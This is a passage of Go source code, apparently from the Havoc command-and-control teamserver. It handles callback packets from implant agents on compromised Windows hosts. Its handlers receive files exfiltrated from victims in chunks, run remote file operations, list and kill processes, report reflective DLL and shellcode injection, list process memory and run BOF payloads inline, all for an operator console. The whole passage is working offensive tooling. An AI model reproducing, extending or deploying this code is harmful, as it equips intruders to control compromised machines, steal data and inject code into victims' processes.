logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_DOWNLOAD, Invalid packet", AgentID))
}
break
case 0x1:
logger.Debug(fmt.Sprintf("Download write FileID:[%v]", FileID))
if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) {
var FileChunk = Parser.ParseBytes()
a.DownloadWrite(FileID, FileChunk)
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_DOWNLOAD, Invalid packet", AgentID))
}
break
case 0x2:
logger.Debug(fmt.Sprintf("Download close FileID:[%v]", FileID))
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {
var (
FileName string
Reason = Parser.ParseInt32()
)
if len(a.Downloads) > 0 {
var download = a.DownloadGet(FileID)
if download != nil {
FileName = download.FilePath
}
if Reason == 0x0 {
Output["Type"] = "Good"
Output["Message"] = fmt.Sprintf("Finished download of file: %v", FileName)
a.DownloadClose(FileID)
} else if Reason == 0x1 {
Output["Type"] = "Info"
Output["Message"] = fmt.Sprintf("Download has been removed: %v", FileName)
a.DownloadClose(FileID)
}
} else {
/* TODO: handle this error. or simply ignore this ? */
}
a.RequestCompleted(RequestID)
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_DOWNLOAD, Invalid packet", AgentID))
}
break
default:
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS - UNKNOWN (%d)", AgentID, Mode))
}
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_DOWNLOAD, Invalid packet", AgentID))
}
break
case DEMON_COMMAND_FS_UPLOAD:
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_UPLOAD", AgentID))
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadBytes}) {
var (
FileSize = Parser.ParseInt32()
FileName = Parser.ParseUTF16String()
)
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_UPLOAD, FileSize: %v, FileName: %v", AgentID, FileSize, FileName))
Output["Type"] = "Info"
Output["Message"] = fmt.Sprintf("Uploaded file: %v (%v)", FileName, FileSize)
a.RequestCompleted(RequestID)
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_UPLOAD, Invalid packet", AgentID))
Output["Type"] = "Error"
Output["Message"] = "Failed to parse FS::Upload response"
}
break
case DEMON_COMMAND_FS_CD:
if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) {
var Path = Parser.ParseUTF16String()
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_CD, Path: %v", AgentID, Path))
Output["Type"] = "Info"
Output["Message"] = fmt.Sprintf("Changed directory: %v", Path)
a.RequestCompleted(RequestID)
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_CD, Invalid packet", AgentID))
}
break
case DEMON_COMMAND_FS_REMOVE:
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadBytes}) {
var (
IsDir = Parser.ParseInt32()
Path = Parser.ParseUTF16String()
)
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_REMOVE, IsDir: %d, Path: %v", AgentID, IsDir, Path))
Output["Type"] = "Info"
if IsDir == win32.TRUE {
Output["Message"] = fmt.Sprintf("Removed directory: %v", Path)
} else {
Output["Message"] = fmt.Sprintf("Removed file: %v", Path)
}
a.RequestCompleted(RequestID)
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_REMOVE, Invalid packet", AgentID))
}
break
case DEMON_COMMAND_FS_MKDIR:
if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) {
var Path = Parser.ParseUTF16String()
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_MKDIR, Path: %v", AgentID, Path))
Output["Type"] = "Info"
Output["Message"] = fmt.Sprintf("Created directory: %v", Path)
a.RequestCompleted(RequestID)
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_MKDIR, Invalid packet", AgentID))
}
break
case DEMON_COMMAND_FS_COPY:
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadBytes, parser.ReadBytes}) {
var (
Success = Parser.ParseInt32()
PathFrom = Parser.ParseUTF16String()
PathTo = Parser.ParseUTF16String()
)
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_COPY, Success: %d, PathFrom: %v, PathTo: %v", AgentID, Success, PathFrom, PathTo))
if Success == win32.TRUE {
Output["Type"] = "Good"
Output["Message"] = fmt.Sprintf("Successful copied file %v to %v", PathFrom, PathTo)
} else {
Output["Type"] = "Error"
Output["Message"] = fmt.Sprintf("Failed to copied file %v to %v", PathFrom, PathTo)
}
a.RequestCompleted(RequestID)
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_COPY, Invalid packet", AgentID))
}
break
case DEMON_COMMAND_FS_MOVE:
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadBytes, parser.ReadBytes}) {
var (
Success = Parser.ParseInt32()
PathFrom = Parser.ParseUTF16String()
PathTo = Parser.ParseUTF16String()
)
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_MOVE, Success: %d, PathFrom: %v, PathTo: %v", AgentID, Success, PathFrom, PathTo))
if Success == win32.TRUE {
Output["Type"] = "Good"
Output["Message"] = fmt.Sprintf("Successful moved file %v to %v", PathFrom, PathTo)
} else {
Output["Type"] = "Error"
Output["Message"] = fmt.Sprintf("Failed to moved file %v to %v", PathFrom, PathTo)
}
a.RequestCompleted(RequestID)
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_MOVE, Invalid packet", AgentID))
}
break
case DEMON_COMMAND_FS_GET_PWD:
if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) {
var Path = Parser.ParseUTF16String()
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_GET_PWD, Path: %v", AgentID, Path))
Output["Type"] = "Info"
Output["Message"] = fmt.Sprintf("Current directory: %v", Path)
a.RequestCompleted(RequestID)
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_GET_PWD, Invalid packet", AgentID))
}
break
case DEMON_COMMAND_FS_CAT:
if Parser.CanIRead([]parser.ReadType{parser.ReadBytes, parser.ReadInt32, parser.ReadBytes}) {
var (
FileName = Parser.ParseUTF16String()
Success = Parser.ParseInt32()
FileContent = Parser.ParseString()
)
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_CAT, FileName: %v, Success: %d", AgentID, FileName, Success))
if Success == win32.TRUE {
Output["Type"] = "Info"
Output["Message"] = fmt.Sprintf("File content of %v (%v):", FileName, len(FileContent))
Output["Output"] = FileContent
} else {
Output["Type"] = "Erro"
Output["Message"] = fmt.Sprintf("Failed to read file: %v", FileName)
}
a.RequestCompleted(RequestID)
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_CAT, Invalid packet", AgentID))
Output["Type"] = "Error"
Output["Message"] = "Failed to parse fs::cat response"
}
default:
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS - UNKNOWN (%d)", AgentID, SubCommand))
}
teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Output)
break
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS, Invalid packet", AgentID))
}
case COMMAND_PROC_LIST:
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PROC_LIST", AgentID))
type Process struct {
Name string
ImagePath string
PID string
PPID string
Session string
IsWow int
Threads string
User string
}
var (
tableData [][]string
Processlist []Process
processes int
Output = make(map[string]string)
ProcessUI = Parser.ParseInt32()
ProcessTable string
ProcessMaxStr int
)
for Parser.CanIRead([]parser.ReadType{parser.ReadBytes, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadBytes}) {
var (
collum []string
Process Process
)
Process.Name = Parser.ParseUTF16String()
Process.PID = strconv.Itoa(Parser.ParseInt32())
Process.IsWow = Parser.ParseInt32()
Process.PPID = strconv.Itoa(Parser.ParseInt32())
Process.Session = strconv.Itoa(Parser.ParseInt32())
Process.Threads = strconv.Itoa(Parser.ParseInt32())
Process.User = Parser.ParseUTF16String()
var ProcessArch = "x64"
if Process.IsWow == win32.TRUE {
ProcessArch = "x86"
}
collum = []string{Process.Name, Process.PID, Process.PPID, Process.Session, ProcessArch, Process.Threads, Process.User}
tableData = append(tableData, collum)
Processlist = append(Processlist, Process)
processes++
if len(Process.Name) > ProcessMaxStr {
ProcessMaxStr = len(Process.Name)
}
}
FormatTable := fmt.Sprintf(" %%-%vs %%-4s %%-4s %%-7s %%-5s %%-7s %%-4s", ProcessMaxStr)
ProcessTable += fmt.Sprintf(FormatTable+"\n", "Name", "PID", "PPID", "Session", "Arch", "Threads", "User")
ProcessTable += fmt.Sprintf(FormatTable+"\n", "----", "---", "----", "-------", "----", "-------", "----")
for _, process := range Processlist {
var ProcessArch = "x64"
if process.IsWow == win32.TRUE {
ProcessArch = "x86"
}
ProcessTable += fmt.Sprintf(FormatTable+"\n", process.Name, process.PID, process.PPID, process.Session, ProcessArch, process.Threads, process.User)
}
var ProcessListJson, _ = json.Marshal(Processlist)
if ProcessUI == win32.FALSE {
Output["Type"] = "Info"
Output["Message"] = "Process List:"
Output["Output"] = "\n" + ProcessTable
} else {
logger.Debug("Process UI")
Output["MiscType"] = "ProcessUI"
Output["MiscData"] = base64.StdEncoding.EncodeToString(ProcessListJson)
}
a.RequestCompleted(RequestID)
teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Output)
case COMMAND_OUTPUT:
var Output = make(map[string]string)
var message string
if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) {
message = Parser.ParseString()
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_OUTPUT, len: %d", AgentID, len(message)))
Output["Type"] = "Good"
Output["Output"] = message
Output["Message"] = fmt.Sprintf("Received Output [%v bytes]:", len(message))
if len(message) > 0 {
teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Output)
}
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_OUTPUT, Invalid packet ", AgentID))
}
case BEACON_OUTPUT:
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {
var Type = Parser.ParseInt32()
switch Type {
case CALLBACK_OUTPUT:
if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) {
logger.Debug(fmt.Sprintf("Agent: %x, Command: BEACON_OUTPUT - CALLBACK_OUTPUT", AgentID))
found := false
for _, BofCallback := range a.BofCallbacks {
if BofCallback.TaskID == RequestID {
// store the output and later send it back to the python module
BofCallback.Output += Parser.ParseString()
found = true
break
}
}
if found == false {
// simply print the output on the agent console
var Output = make(map[string]string)
Output["Type"] = "Good"
Output["Output"] = Parser.ParseString()
Output["Message"] = fmt.Sprintf("Received Output [%v bytes]:", len(Output["Output"]))
if len(Output["Output"]) > 0 {
teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Output)
}
}
break
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: BEACON_OUTPUT - CALLBACK_OUTPUT, Invalid packet", AgentID))
}
case CALLBACK_OUTPUT_OEM:
if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) {
logger.Debug(fmt.Sprintf("Agent: %x, Command: BEACON_OUTPUT - CALLBACK_OUTPUT_OEM", AgentID))
found := false
for _, BofCallback := range a.BofCallbacks {
if BofCallback.TaskID == RequestID {
// store the output and later send it back to the python module
BofCallback.Output += Parser.ParseUTF16String()
found = true
break
}
}
if found == false {
// simply print the output on the agent console
var Output = make(map[string]string)
Output["Type"] = "Good"
Output["Output"] = Parser.ParseUTF16String()
Output["Message"] = fmt.Sprintf("Received Output [%v bytes]:", len(Output["Output"]))
if len(Output["Output"]) > 0 {
teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Output)
}
}
break
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: BEACON_OUTPUT - CALLBACK_OUTPUT_OEM, Invalid packet", AgentID))
}
case CALLBACK_ERROR:
if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) {
logger.Debug(fmt.Sprintf("Agent: %x, Command: BEACON_OUTPUT - CALLBACK_ERROR", AgentID))
found := false
for _, BofCallback := range a.BofCallbacks {
if BofCallback.TaskID == RequestID {
// store the output and later send it back to the python module
BofCallback.Error += Parser.ParseString()
found = true
break
}
}
if found == false {
// simply print the output on the agent console
var Output = make(map[string]string)
Output["Type"] = typeError
Output["Output"] = Parser.ParseString()
Output["Message"] = fmt.Sprintf("Received Output [%v bytes]:", len(Output["Output"]))
if len(Output["Output"]) > 0 {
teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Output)
}
}
break
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: BEACON_OUTPUT - CALLBACK_ERROR, Invalid packet", AgentID))
}
case CALLBACK_FILE:
if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) {
var Data = Parser.ParseBytes()
if len(Data) > 8 {
logger.Debug(fmt.Sprintf("Agent: %x, Command: BEACON_OUTPUT - CALLBACK_FILE", AgentID))
var FileID = int(binary.BigEndian.Uint32(Data[0:4]))
var FileLength = int64(binary.BigEndian.Uint32(Data[4:8]))
var FileName = string(Data[8:])
var Output = make(map[string]string)
Output["Type"] = "Info"
Output["Message"] = fmt.Sprintf("Started download of file: %v [%v]", FileName, FileLength)
logger.Debug(Output["Message"])
if err := a.DownloadAdd(FileID, FileName, FileLength); err != nil {
Output["Type"] = "Error"
Output["Message"] = err.Error()
} else {
Output["MiscType"] = "download"
Output["MiscData2"] = base64.StdEncoding.EncodeToString([]byte(FileName)) + ";" + common.ByteCountSI(int64(FileLength))
}
teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Output)
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: BEACON_OUTPUT - CALLBACK_FILE, Invalid packet", AgentID))
}
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: BEACON_OUTPUT - CALLBACK_FILE, Invalid packet", AgentID))
}
break
case CALLBACK_FILE_WRITE:
if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) {
var Data = Parser.ParseBytes()
if len(Data) >= 4 {
logger.Debug(fmt.Sprintf("Agent: %x, Command: BEACON_OUTPUT - CALLBACK_FILE_WRITE", AgentID))
var FileID = int(binary.BigEndian.Uint32(Data[0:4]))
var FileChunk = Data[4:]
var err = a.DownloadWrite(FileID, FileChunk)
if err != nil {
var Output = make(map[string]string)
Output["Type"] = "Error"
Output["Message"] = err.Error()
teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Output)
}
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: BEACON_OUTPUT - CALLBACK_FILE_WRITE, Invalid packet", AgentID))
}
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: BEACON_OUTPUT - CALLBACK_FILE_WRITE, Invalid packet", AgentID))
}
break
case CALLBACK_FILE_CLOSE:
if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) {
var Data = Parser.ParseBytes()
if len(Data) >= 4 {
logger.Debug(fmt.Sprintf("Agent: %x, Command: BEACON_OUTPUT - CALLBACK_FILE_CLOSE", AgentID))
var FileID = int(binary.BigEndian.Uint32(Data[0:4]))
var download = a.DownloadGet(FileID)
if download != nil {
var Output = make(map[string]string)
Output["Type"] = "Good"
Output["Message"] = fmt.Sprintf("Finished download of file: %v", download.FilePath)
teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Output)
} else {
logger.Debug("download == nil")
}
a.DownloadClose(FileID)
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: BEACON_OUTPUT - CALLBACK_FILE_CLOSE, Invalid packet", AgentID))
}
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: BEACON_OUTPUT - CALLBACK_FILE_CLOSE, Invalid packet", AgentID))
}
break
default:
logger.Debug(fmt.Sprintf("Agent: %x, Command: BEACON_OUTPUT - UNKNOWN (%d)", AgentID, Type))
}
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: BEACON_OUTPUT, Invalid packet", AgentID))
}
case COMMAND_INJECT_DLL:
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {
var (
Status = Parser.ParseInt32()
Message = make(map[string]string)
)
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_INJECT_DLL, Status: %d", AgentID, Status))
if Status == 0 {
Message["Type"] = "Good"
Message["Message"] = "Successful injected reflective dll"
} else {
String, ok := InjectErrors[Status]
if ok {
String = fmt.Sprintf("Status:[%v]", String)
}
Message["Type"] = "Error"
Message["Message"] = "Failed to inject reflective dll: " + String
}
teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message)
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_INJECT_DLL, Invalid packet", AgentID))
}
break
case COMMAND_SPAWNDLL:
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {
var (
Status = Parser.ParseInt32()
Message = make(map[string]string)
)
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SPAWNDLL, Status: %d", AgentID, Status))
if Status == 0 {
Message["Type"] = "Good"
Message["Message"] = "Successful spawned reflective dll"
} else {
String, ok := InjectErrors[Status]
if ok {
String = fmt.Sprintf("Status:[%v]", String)
}
Message["Type"] = "Error"
Message["Message"] = "Failed to spawned reflective dll: " + String
}
teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message)
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SPAWNDLL, Invalid packet", AgentID))
}
break
case COMMAND_INJECT_SHELLCODE:
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {
var (
Status = Parser.ParseInt32()
Message = make(map[string]string)
)
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_INJECT_SHELLCODE, Status: %d", AgentID, Status))
if Status == INJECT_ERROR_SUCCESS {
Message["Type"] = "Good"
Message["Message"] = "Successful injected shellcode"
} else if Status == INJECT_ERROR_FAILED {
Message["Type"] = "Error"
Message["Message"] = "Failed to inject shellcode"
} else if Status == INJECT_ERROR_INVALID_PARAM {
Message["Type"] = "Error"
Message["Message"] = "Invalid parameter specified"
} else if Status == INJECT_ERROR_PROCESS_ARCH_MISMATCH {
Message["Type"] = "Error"
Message["Message"] = "Process architecture mismatch"
} else if Status == INJECT_ERROR_FAILED {
Message["Type"] = "Error"
Message["Message"] = "Failed to inject shellcode"
}
a.RequestCompleted(RequestID)
teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message)
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_INJECT_SHELLCODE, Invalid packet", AgentID))
}
break
case COMMAND_PROC:
var (
Message = make(map[string]string)
SubCommand int
)
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {
SubCommand = Parser.ParseInt32()
switch SubCommand {
case DEMON_COMMAND_PROC_MODULES:
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PROC - DEMON_COMMAND_PROC_MODULES", AgentID))
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {
var (
ModuleName string
ModuleBase string
ProcessID = Parser.ParseInt32()
OutputBuffer bytes.Buffer
tableData [][]string
)
table := tablewriter.NewWriter(&OutputBuffer)
table.SetHeader([]string{"Name", "Base Address"})
table.SetBorder(false)
table.SetHeaderAlignment(tablewriter.ALIGN_CENTER)
table.SetRowSeparator("-")
table.SetColumnSeparator("│")
table.SetCenterSeparator("+")
for Parser.CanIRead([]parser.ReadType{parser.ReadBytes, parser.ReadPointer}) {
var (
collum []string
)
ModuleName = Parser.ParseString()
ModuleBase = "0x" + strconv.FormatInt(Parser.ParsePointer(), 16)
collum = []string{strings.ReplaceAll(ModuleName, " ", ""), ModuleBase} // TODO: fix this to avoid new line in the havoc console
tableData = append(tableData, collum)
}
table.AppendBulk(tableData)
table.Render()
Message["Type"] = "Info"
Message["Message"] = fmt.Sprintf("List loaded modules/dll from process %v:", ProcessID)
Message["Output"] = "\n" + OutputBuffer.String()
} else {
Message["Type"] = "Error"
Message["Message"] = "Couldn't list loaded modules/dll from specified process: "
}
a.RequestCompleted(RequestID)
break
case DEMON_COMMAND_PROC_GREP:
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PROC - DEMON_COMMAND_PROC_GREP", AgentID))
if Parser.Length() > 0 {
var (
ProcName string
ProcID int
ParentPID int
ProcUser string
ProcArch int
Output string
)
for Parser.CanIRead([]parser.ReadType{parser.ReadBytes, parser.ReadInt32, parser.ReadInt32, parser.ReadBytes, parser.ReadInt32}) {
ProcName = Parser.ParseUTF16String()
ProcID = Parser.ParseInt32()
ParentPID = Parser.ParseInt32()
ProcUser = Parser.ParseUTF16String()
ProcArch = Parser.ParseInt32()
Output += fmt.Sprintf(
"\n Process Name : %v\n Process ID : %v\n Parent PID : %v\n Process User : %v\n Process Arch : x%v\n",
ProcName, ProcID, ParentPID, ProcUser, ProcArch,
)
}
Message["Type"] = "Info"
Message["Message"] = "Found one or more processes:"
Message["Output"] = Output
} else {
Message["Type"] = "Error"
Message["Message"] = "Couldn't find specified process"
}
a.RequestCompleted(RequestID)
break
case DEMON_COMMAND_PROC_CREATE:
if Parser.CanIRead([]parser.ReadType{parser.ReadBytes, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32}) {
var (
Path = Parser.ParseUTF16String()
PID = Parser.ParseInt32()
Success = Parser.ParseInt32()
Piped = Parser.ParseInt32()
Verbose = Parser.ParseInt32()
)
logger.Debug(fmt.Sprintf("Agent: %x, Command: DEMON_INFO - DEMON_INFO_PROC_CREATE, Path: %s, PID: %d, Success: %d, Verbose: %d, Piped: %d", AgentID, Path, PID, Success, Verbose, Piped))
if Verbose == 1 {
if Success == 1 {
Message["Type"] = "Info"
Message["Message"] = fmt.Sprintf("Process started: Path:[%v] ProcessID:[%v]", Path, PID)
} else {
Message["Type"] = "Erro"
Message["Message"] = fmt.Sprintf("Process could not be started: Path:[%v]", Path)
}
}
if Success == 0 || Piped == 0 {
// if we don't expect to receive output, then close the RequestID
a.RequestCompleted(RequestID)
}
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PROC - DEMON_COMMAND_PROC_CREATE, Invalid packet: %d", AgentID))
}
// TODO: can we expect more messages from this request?
//a.RequestCompleted(RequestID)
break
case 5: // Proc:BlockDll
// TODO: is this used?
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PROC - 5", AgentID))
var (
BlockDll = int(Parser.ParseInt32())
State = "disabled"
)
if BlockDll == 1 {
State = "enabled"
}
Message["Type"] = "Info"
Message["Message"] = "Successfully " + State + " blockdll"
a.RequestCompleted(RequestID)
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PROC - 5, Invalid packet", AgentID))
}
break
case DEMON_COMMAND_PROC_MEMORY:
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}) {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PROC - DEMON_COMMAND_PROC_MEMORY", AgentID))
var (
BaseAddress string
RegionSize string
AllocateProtec string
// State string
// Type string
iProtect int
iState int
iType int
_ = Parser.ParseInt32()
_ = Parser.ParseInt32()
OutputBuffer bytes.Buffer
tableData [][]string
)
table := tablewriter.NewWriter(&OutputBuffer)
table.SetHeader([]string{"Base Address", "Type", "Protection", "State", "Region Size"})
table.SetBorder(false)
table.SetHeaderAlignment(tablewriter.ALIGN_CENTER)
table.SetColumnAlignment([]int{tablewriter.ALIGN_CENTER, tablewriter.ALIGN_CENTER, tablewriter.ALIGN_CENTER, tablewriter.ALIGN_CENTER, tablewriter.ALIGN_RIGHT})
table.SetRowSeparator("-")
table.SetColumnSeparator("│")
table.SetCenterSeparator("+")
for Parser.CanIRead([]parser.ReadType{parser.ReadPointer, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32}) {
var (
collum []string
)
BaseAddress = "0x" + strconv.FormatInt(Parser.ParsePointer(), 16)
RegionSize = utils.ByteCountSI(int64(Parser.ParseInt32()))
iProtect = int(Parser.ParseInt32())
iState = int(Parser.ParseInt32())
iType = int(Parser.ParseInt32())
if Protection, ok := win32.Protections[iProtect]; !ok {
AllocateProtec = "UNKNOWN"
} else {
AllocateProtec = Protection[0]
}
/*switch iProtect {
case win32.PAGE_NOACCESS:
AllocateProtec = "PAGE_NOACCESS"
case win32.PAGE_READONLY:
AllocateProtec = "PAGE_READONLY"
case win32.PAGE_READWRITE:
AllocateProtec = "PAGE_READWRITE"
case win32.PAGE_WRITECOPY:
AllocateProtec = "PAGE_WRITECOPY"
case win32.PAGE_EXECUTE:
AllocateProtec = "PAGE_EXECUTE"
case win32.PAGE_EXECUTE_READ:
AllocateProtec = "PAGE_EXECUTE_READ"
case win32.PAGE_EXECUTE_READWRITE:
AllocateProtec = "PAGE_EXECUTE_READWRITE"
case win32.PAGE_EXECUTE_WRITECOPY:
AllocateProtec = "PAGE_EXECUTE_WRITECOPY"
case win32.PAGE_GUARD:
AllocateProtec = "PAGE_GUARD"
default:
AllocateProtec = strconv.Itoa(iProtect)
}*/
collum = []string{BaseAddress, strconv.Itoa(iType), AllocateProtec, strconv.Itoa(iState), RegionSize}
tableData = append(tableData, collum)
}
table.AppendBulk(tableData)
table.Render()
if OutputBuffer.Len() > 0 {
Message["Type"] = "Info"
Message["Message"] = "List memory regions:"
Message["Output"] = "\n" + OutputBuffer.String()
} else {
Message["Type"] = "Error"
Message["Message"] = "Couldn't list memory regions"
}
a.RequestCompleted(RequestID)
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PROC - DEMON_COMMAND_PROC_MEMORY, Invalid packet", AgentID))
}
break
case DEMON_COMMAND_PROC_KILL:
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}) {
var (
Success = Parser.ParseInt32()
ProcessID = Parser.ParseInt32()
)
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PROC - DEMON_COMMAND_PROC_KILL, Success: %d, ProcessID: %d", AgentID, Success, ProcessID))
if Success == win32.TRUE {
Message["Type"] = "Good"
Message["Message"] = fmt.Sprintf("Successful killed process: %v", ProcessID)
} else {
Message["Type"] = "Error"
Message["Message"] = "Failed to kill process"
}
a.RequestCompleted(RequestID)
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PROC - DEMON_COMMAND_PROC_KILL, Invalid packet", AgentID))
}
default:
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PROC - UNKNOWN (%d)", AgentID, SubCommand))
}
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PROC, Invalid packet", AgentID))
}
teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message)
break
case COMMAND_INLINEEXECUTE:
var (
OutputMap = make(map[string]string)
Type = Parser.ParseInt32()
)
switch Type {
case CALLBACK_OUTPUT:
if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_INLINEEXECUTE - CALLBACK_OUTPUT", AgentID))
OutputMap["Output"] = Parser.ParseString()
teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, OutputMap)
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_INLINEEXECUTE - CALLBACK_OUTPUT, Invalid packet", AgentID))
}
break
case CALLBACK_ERROR:
if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_INLINEEXECUTE - CALLBACK_ERROR", AgentID))
OutputMap["Type"] = "Error"
OutputMap["Output"] = Parser.ParseString()
teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, OutputMap)
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_INLINEEXECUTE - CALLBACK_ERROR, Invalid packet", AgentID))
}
break
case COMMAND_INLINEEXECUTE_EXCEPTION:
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt64}) {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_INLINEEXECUTE - COMMAND_INLINEEXECUTE_EXCEPTION", AgentID))
var (
Exception = Parser.ParseInt32()
Address = Parser.ParseInt64()
)
OutputMap["Type"] = "Error"
OutputMap["Message"] = fmt.Sprintf("Exception %v [%x] occurred while executing BOF at address %x", win32.StatusToString(int64(Exception)), Exception, Address)
a.RequestCompleted(RequestID)
teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, OutputMap)
} else {
